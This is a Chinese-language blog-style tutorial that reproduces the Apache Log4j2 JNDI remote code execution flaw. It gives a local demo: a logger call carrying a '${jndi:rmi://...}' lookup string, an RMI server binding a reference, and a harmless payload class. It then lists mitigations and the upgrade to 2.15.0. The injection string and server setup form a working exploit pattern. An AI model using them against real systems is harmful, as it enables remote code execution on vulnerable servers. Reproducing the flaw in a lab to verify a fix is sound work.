栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache Log4j2远程代码执行漏洞复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache Log4j2远程代码执行漏洞复现

TOApache Log4j2远程代码执行漏洞复现

漏洞原理

log4j2版本 < log4j-2.15.0 可由JNDI/rmi注入实现远程代码执行。
影响版本Log4j2.x<=2.14.1漏洞复现
漏洞原理的分析:

创建复现工程demo 引入log4j 的jar包

版本在log4j 2.0~2.14.1范围里,demo中引入的版本是2.13.3,如下:

org.apache.logging.log4j
log4j-core
2.13.3

编写测试用例和jndi/rmi远程服务 1.log4j2 测试用例
package com.example.demo.log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j2Test {
    private static Logger logger = LogManager.getLogger(Log4j2Test.class);

    public static void main(String[] args) {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        String name = "${java:vm}";
//        name = "${java:version}";
        name = "${java:os}";
        logger.error("hello,{}", name);

        name = "${jndi:rmi://127.0.0.1:8080/rmiExecute}";//# 黑客端的一个jdni的服务地址
        logger.error("hello,{}", name);
    }
}
2.远程rmi执行的服务 rmi服务
package com.example.demo.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;


public class RmiServer {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(8080);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(new Reference("com.example.demo.rmi.RmiExecute", "com.example.demo.rmi.RmiExecute", null));
            registry.bind("rmiExecute", referenceWrapper);
            System.out.println("rmi Server 'rmiExecute/8080' Started!n");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

具体执行[模拟输出一句话‘触发执行黑客的服务…’]

package com.example.demo.rmi;


public class RmiExecute {
    static {
        System.out.println("触发执行黑客的服务.....");
    }
}

注意事项:
1.远程rmi服务的名称rmiExecute和端口号8080,在Log4j2Test的测试中需要一致;
2.如果以上执行不成功,可以在Log4j2Test放开:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
漏洞复现

启动RmiServer服务;
执行Log4j2Test.main,执行结果如下:

Connected to the target VM, address: '127.0.0.1:50415', transport: 'socket'
12:37:15.687 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,Mac OS X 10.16 unknown, architecture: x86_64-64
触发执行黑客的服务.....
12:37:15.695 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,${jndi:rmi://127.0.0.1:8080/rmiExecute}
Disconnected from the target VM, address: '127.0.0.1:50415', transport: 'socket'

Process finished with exit code 0

如下图


rmi远程服务的代码已经在log4j2的日志输出时执行了;
是不是挺可怕的?!!! 赶紧去验证一下伙伴们负责的系统是不是中招了呢。

漏洞解决办法 1.临时处理办法:

(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2). log4j2.formatMsgNoLookups=True
(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

2.升级log4j2版本

Log4j 官方非常重视该漏洞,目前已经发布了最新版本解决了该漏洞,使用log4j-2.15.0即可;经过测试,2.15.0版本已经不能执行远程服务了,如下图:

伙伴们放心升级吧!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/657097.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号